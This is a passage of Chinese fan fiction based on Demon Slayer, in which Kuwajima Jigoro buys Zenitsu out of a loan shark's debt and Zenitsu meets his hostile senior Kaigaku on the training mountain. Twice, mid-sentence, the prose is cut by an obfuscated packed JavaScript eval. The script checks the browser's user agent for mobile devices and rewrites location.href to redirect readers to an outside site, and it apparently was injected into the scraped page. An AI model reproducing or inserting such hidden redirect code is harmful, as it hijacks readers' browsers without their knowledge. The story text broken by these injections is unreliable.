万万没想到,借钱给他的庄家放的是高利贷,几天下去,利息比本金翻了好几番,已经增长到了一个可怕的数字。 那么大的数字,他根本想都不敢想。 不谈还钱的问题,他的生存都面临问题: 怕惹麻烦的店铺,一定不会愿意再雇佣他这个麻烦缠身的家伙。 身家清白、手脚麻利的家伙,可不止我妻善逸一个。 显而易见。 他会被抛弃,会被视而不见。 这一次犯错,可能会让他万劫不复吧。 但在讨债人的喝骂声中,一个老迈却中气十足的声音插入进来: “这小子,欠了多少钱?” ——就这样,桑岛慈悟郎从讨债人手中,把他买了下来。 如果光看外表,这位买主,是个可怕的人。 严肃的表情,好可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396640|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕。 木制的右腿,好可怕。 然而,声音却和其他人不一样,清正慈祥,让他联想到了别人家的爷爷。 那么,桑岛慈悟郎,会愿意当他的爷爷吗? 桑岛慈悟郎:“叫我师范。” 我妻善逸眨了眨眼睛:“什么师范?” “剑道师范。” “你要教我剑道?” “是。” “我以后要学剑道?” “没错。” “真、真的吗?我以前没学过,我不知道,我学不会的!”我妻善逸立刻产生了抗拒的想法,“反对暴力!我是说,我不行的……” 这时代,学剑道? 疯了吧! 废刀令已经施行了四十多年,很有可能还要施行五十年、六十年,直到永远。 年号都变成大正了,学这种过时的东西有什么用? 当打手吗? 他不要,他很怕痛。 “不试试看,怎么知道自己行不行。”桑岛慈悟郎轻飘飘地看了他一眼,“还是说,你更愿意被追债人做成标本卖掉?” 那当然是不愿意。 现在,桑岛慈悟郎才是他的债主,想要他做什么,他就得做什么才行。 可是,如果他学不好怎么办? 如果他不能达到桑岛慈悟郎的预期怎么办? 如果他犯错,如果他失败,会被怎样对待? 会被转卖吗? 会被当成没用的东西丢掉吗? 满脑子胡思乱想,跟着桑岛慈悟郎一路上山,山路崎岖,光走路脚都痛得要命。 想要停下来休息一下,却被桑岛慈悟郎用拐杖敲在背上,让他打起精神跟上。 好严厉,而且,体力比他还好! ……更觉得自己达不到他的要求了呢,呵呵。 “对了。”桑岛慈悟郎停下脚步。“你还有一个师兄。” 师兄是什么? 满脑子浆糊的我妻善逸没有反应过来,凭着惯性向前迈步,又因为桑岛慈悟郎的停步而试图跟着停下,结果就是左脚拌右脚,整个人摔在了地上。 有点痛,但又不那么痛。 粉色的花瓣从眼前飘落,鼻间闻到似有似无的青涩香味。 撑着地面仰起头,就见桃树下,被大片粉色的桃花簇拥着,有着一头微卷黑发、眼睛碧绿如翡翠的少年看了过来。 ……好漂亮。 有风吹过,几枚花瓣簌簌落下,有一枚停留在他的发间,摇摇欲坠,令我妻善逸下意识动了动手指。 想要伸手拂去那片花瓣,又想要让那花瓣永远停留在那里…… 直到沉郁的雷声,在他耳边炸响。 “狯岳,这孩子叫我妻善逸,以后就是你的师弟了。” 名为狯岳的少年皱了皱眉,抿紧双唇: “……是。” 60.第六十章 毫无疑问,这位叫做狯岳的师兄,不欢迎我妻善逸这个师弟。 在看到他的一瞬间就产生了排斥感,随着桑岛慈悟郎的弟子宣称,又迅速产生了敌意。 对能听见这些的我妻善逸来说,并不是个令人愉快的开始。 但,应该,也许,没关系吧? 是桑岛慈悟郎花钱把他买回来的。 为了不浪费那笔钱,他应该也不会被轻易赶走才对。 何况,狯岳不喜欢他,大约是因为,他本来就不是个讨人喜欢的人。 也没谁会喜欢一个初见面就冒冒失失,摔了一跤,脸上还被讨债人揍出黑眼圈的人吧? 如果他能完成桑岛慈悟郎的训练,变得可靠一点,说不定,狯岳就会对他改观,会喜欢他一点,一点点就好。 ……大概。 “什么?!” 听完桑岛慈悟郎的训练要求,我妻善逸尖叫出声。 “这种、这种训练量,也太可怕了吧?!不可能完成得了吧!”他上下挥动双手,“而且,我才刚来,对吧?!训练这种事情,起码等到明天才——” “闭嘴!”桑岛慈悟郎厉声呵斥,拐杖“咚”得一声敲在地上。“现在,立刻,开始!” 我妻善逸:〒_〒。 我妻善逸:“是。” 说到训练,桑岛慈悟郎的心声就变得严肃认真,让他不敢违抗。 ——至少,初来乍到的他,不敢违抗。 只好照做了。 一边做一边被纠正“用鼻子呼吸,别用嘴巴”,“腰给我挺直”,“不许小碎步”,“重心要落在中间”,等等。 好辛苦,好想死! 又一次深蹲之后,无法站起来的我妻善逸,整个人扑在了地上。 “站起来。” 桑岛慈悟郎又用拐杖“咚”得一声敲向地面。 “直到真的站不起来为止!” 这也太可怕了吧! 他忍不住哭了出来,一边掉眼泪,一边按照桑岛慈悟郎的要求,继续活动手脚,直到太阳即将落山,天边泛起红霞为止。 “老师。”狯岳的声音像天籁一样响起。“晚饭做好了。” “辛苦你了。”桑岛慈悟郎冲着狯岳颔首。“以后这种家务,你和善逸轮流来做。” “是。” 说着,两个人转身就走。 真练到站不起来,还趴在地上的我妻善逸:“……” “等,等等!”他绝望地大喊大叫,“我,我站不起来了!” 桑岛慈悟郎:“那就努力站起来!” 不是,这是靠努力就能实现的吗喂?! 我妻善逸难以理解。 桑岛慈悟郎的判断简单粗暴: 还有力气大喊大叫,显然没到极限,没到极限就是还能练,更别说站起来走路了。 看在这孩子初来乍到的份上,他已经放宽要求了好不好。 我妻善逸:好个鬼哦。 “……我去把师弟带过来吧。”狯岳提议。“这样能快一点。” 桑岛慈悟郎:“……” 桑岛慈悟郎:“行,去吧。” 于是狯岳折返回去,站在我妻善逸面前,向他伸出手,把他从地上拉了起来。 “谢、谢谢。” 我妻善逸听着他不耐烦的心声,小声道谢。 他被这声音吓得甚至不敢直接看他,只把自己的眼睛藏在厚重的刘海之后,抓住机会一下下偷瞄。 眉头又皱起来了呢。 如果他不要皱眉就好了,他的眉眼明明很好看。一旦舒展开来的话,绝对会受女孩子欢迎。 “喂,”就听狯岳不耐烦地“啧”了一声,“别往我的身上靠。” 我妻善逸:“……” 我妻善逸:“对、对不起,可是,我腿软……” 为什么会这么不耐烦啊! 他这样是有原因的啊! 才被追债人追了好几条街,还挨了一顿打,走了好远的山路,又马不停蹄地接受训练。 不可能有人经历这一切之后,腿能不软,绝对不可能! 他已经累到浑身发冷,眼冒金星了好不好。 ——虽然很想把这些委屈吼出来,但我妻善逸不敢,他怕会惹人生气。 狯岳的手倒是很热,温度从他有力的掌心传过来,让他有种安心的感觉。 还能闻到他身上那股青涩的香气,是因为在桃林里训练了一整天,染上了桃花的味道吗? 我妻善逸就这么一边胡思乱想着,一边被狯岳连拖带拽,随着桑岛慈悟郎不紧不慢的步伐,回到了房子里面。 和他想的一样,这是间朴素的木造建筑,内部空间很大,用料结实,造价不便宜。 起居室里摆着三个膳台,每个案台上摆着碗筷,以及一碟烤肉、一皿梅干和一钵味增汤。一旁的饭锅里,装满了热气腾腾的米饭。 我妻善逸眼睛一亮: 闻起来好香,看上去好好吃! 全部都是师兄做得吗,好厉害! “我,我来添饭!” 作为新来的,他自觉地坐在下手,靠近饭锅,把桑岛慈悟郎和狯岳的饭碗堆满,给他们送了过去。 虽然腿脚还在发抖,万幸手没有抖,不至于把东西撒出来出糗。 饭菜果然很好吃,但如果有鳗鱼就好了,他更喜欢甜口的东西……不行不行,都已经到山里来了,还是不要太怀念町里的一切比较好。 参照着狯岳吃饭的速度,他保持着和他相似的频率,几乎同时放下碗筷。 吃饱了肚子的他,体力恢复不少,毫无怨言地接下了洗碗的活。 因为是第一次,狯岳陪在他身边,帮忙收拾碗筷,送到水池旁,告诉他哪条毛巾用来洗碗,哪条毛巾用来擦桌子,晾晒又在哪里。 洗澡水也是狯岳早就烧好的,热乎乎的很舒服,锻炼过度的肌肉得到了放松。 换洗的衣服也是狯岳的,不过,在接过衣服的时候,相当可怕的声音传了过来。 对、对不起! 可他也没有办法呀,被桑岛慈悟郎买下来的他,一点身外之物都没有。 只能把大了一圈的衣服裹在身上,乱糟糟不像样子。 然后就是,住宿。 “事发突然,没有提前做准备。善逸,你还是先和狯岳住在一起吧。”桑岛慈悟郎吩咐。“等过几天,把房间收拾好再搬过去。” 完蛋,师兄发出了超级可怕的声音! 完全被当成入侵者了啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399447|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但天色太晚了,也的确不是清理房间的时候。 狯岳只能一脸不快地带着我妻善逸来到自己的房间,指挥他从壁橱里搬出备用被褥,铺在地上。 桑岛慈悟郎回了自己的房间休息,只剩下他和狯岳独处。 不满的声音像潮水一样涌来,将我妻善逸完全浸没。 身为后来者,就是要承受先来者的排斥,这是他在摸爬滚打长大的过程中,经历过无数次的事情。 对不起,打扰了你。 可他又不是故意的,这是桑岛慈悟郎的安排。 只能祈祷在接下来的相处中,能削弱一点师兄的不满了。 “我、我,明天一早,就起来收拾!” “随便你。” “……” “……” 不是,话题这就终结了吗? 师兄你不觉得尴尬吗? 我妻善逸呆愣地看着狯岳钻进被窝,留给他一个后脑勺,只好自己也躺下,把被子盖在身上。 真是不可思议。 早上,他还是在町内为了生计奔波在零工之间的边缘人,生活说不上好,但还算自由平稳。 晚上,他就变成了偏远山上的菜鸟新人,有了一个严厉的师范和不喜欢他的师兄,接受了残酷的训练。 简直像在做梦一样。 但为什么,不能做个彻彻底底的美梦呢? 如果训练没有这么严苛就好了。 如果师兄没有这么冷漠就好了。 桃山上的夜好安静,比町内安静多了,静到只能听见风吹树叶和鸟兽虫蚁的窸窸窣窣,和身旁师兄的呼吸和心跳。 如果,如果。 或许明天,或许后天,或许下一周,或许下个月。 他们可以像别人家的兄弟一样,睡前说说无用但温馨的废话,一起进入黑甜的梦乡。 “今天的我,依然是个胆小鬼。” 半梦半醒间,一个奇异的声音响起。 这声音非常陌生,他确信自己此前从未听到过,却又带着熟悉的语气,令他几乎要落下泪来。 “但我要告诉你……一些你打算告诉我的事。 “我知道你为什么讨厌我,怎么样轻视我。 “你为了支撑自己而蔑视我,所以对我说,‘我讨厌你’。 “为了回应你那高高在上的态度,所以我也对你说,‘我讨厌你’。 “不曾被使用暴力,只时常被乱骂一番。 “‘废物’是我的名字,是你给我的名字。 “不喜欢这个名字,真的很想死。 “去死吧,反正人无论如何都会死。 “‘你是上不了天国的’,别让我这样想啊! “我的内心深处有着被禁止接触的地方,我偶尔会去故意触动它。 “所有言语不能述说的感情藏在那里,越来越满,满到一口气溢了出来。 “你的声音依稀可辨,与错觉只有一线之隔,事到如今已成为我回忆的全部。 “坏掉的头脑总在捣乱,越是回忆过去,越是难以忍受。 “既然如此,把你自己交给我吧。 “因为,我绝对不会变的像你一样。 “我绝对不会用你对待我的方式来对待你……”